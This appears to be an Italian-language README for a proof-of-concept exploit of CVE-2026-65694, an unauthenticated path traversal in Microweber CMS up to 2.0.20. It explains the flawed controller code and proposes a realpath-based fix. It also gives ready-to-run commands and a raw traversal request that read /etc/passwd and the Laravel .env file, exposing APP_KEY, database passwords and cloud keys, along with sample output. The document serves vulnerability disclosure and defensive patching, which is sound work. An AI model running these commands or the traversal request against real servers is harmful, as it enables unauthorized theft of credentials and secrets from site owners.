
PoC per CVE-2026-65694 — Microweber CMS (<=2.0.20) path traversal non autenticato → lettura arbitraria di file (.env / secrets)
Proof-of-concept per CVE-2026-65694, una lettura arbitraria di file non autenticata tramite path traversal in Microweber CMS.
Un utente non autenticato può leggere qualsiasi file accessibile all'utente del web server — il .env di Laravel (APP_KEY, credenziali DB, segreti mail/cloud), /etc/passwd, log, chiavi, configurazioni non .php, ecc. — tramite la rotta pubblica GET /userfiles/{path}.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)master attuale (la riga vulnerabile è ancora presente)src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- property read, NOT $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() does NOT strip ".."
return $this->sendResponse($path, $request);
}
La rotta è registrata senza autenticazione:
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
Si combinano due problemi:
$request->path (accesso alla proprietà, non al metodo $request->path()) viene risolto tramite Request::__get di Laravel → Arr::get($this->all(), 'path', fn() => $this->route('path')). Quindi un parametro query ?path= sovrascrive il segmento di rotta {path} — e i valori della query non sono soggetti alla normalizzazione dei .. nel percorso URL applicata da browser/server.normalize_path() si limita a comprimere gli slash; non rimuove né risolve mai i .., e non esiste alcun controllo che il percorso risolto rimanga all'interno di userfiles_path(). Il livello file di PHP risolve poi le sequenze .. sul filesystem.Il controller blocca solo le estensioni .php, .phtml e .php7 (skip_ext), quindi il sorgente PHP non è direttamente leggibile — ma tutto il resto lo è (.env, /etc/passwd, log, chiavi, DB SQLite, configurazione JSON/YAML, …).
pip install -r requirements.txt
Raggiungibile su qualsiasi deployment che utilizza la document root consigliata public/ (il public/.htaccess incluso in Microweber, o un front controller nginx try_files $uri /index.php), dove userfiles/ si trova al di fuori della web root e /userfiles/* viene inoltrato al router di Laravel.
Tre azioni:
python3 poc.py -u http://TARGET --check # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # download a file to disk
La profondità di traversal viene rilevata automaticamente (incrementando ../ finché il file non viene servito); è possibile sovrascriverla con --depth N. Instrada attraverso Burp con --proxy http://127.0.0.1:8080. Aggiungi -v per la richiesta raw.
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Unauthenticated Arbitrary File Read
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
La richiesta sottostante è semplicemente:
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target
Lettura arbitraria di file non autenticata. La fuga del .env di Laravel rivela APP_KEY
(falsificazione di sessioni/cookie), credenziali del database, password email e chiavi cloud —
di fatto la compromissione totale dei segreti dell'istanza.
Leggi il parametro di rotta vincolato invece della proprietà di input, canonicalizza con realpath()
e verifica che il percorso risolto rimanga all'interno di userfiles_path():
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
Scoperta e segnalata da Bobur Abdugafforov. CVE-2026-65694 assegnato tramite VulnCheck.
Solo per test di sicurezza autorizzati e uso educativo. Non utilizzare contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.
| Flag | Azione |
|---|
--check | Indica se il target è vulnerabile (sì/no), senza scaricare dati |
-r, --read FILE | Legge un file e lo stampa su stdout |
-d, --download FILE | Legge un file e lo salva localmente (-o/--output imposta il nome) |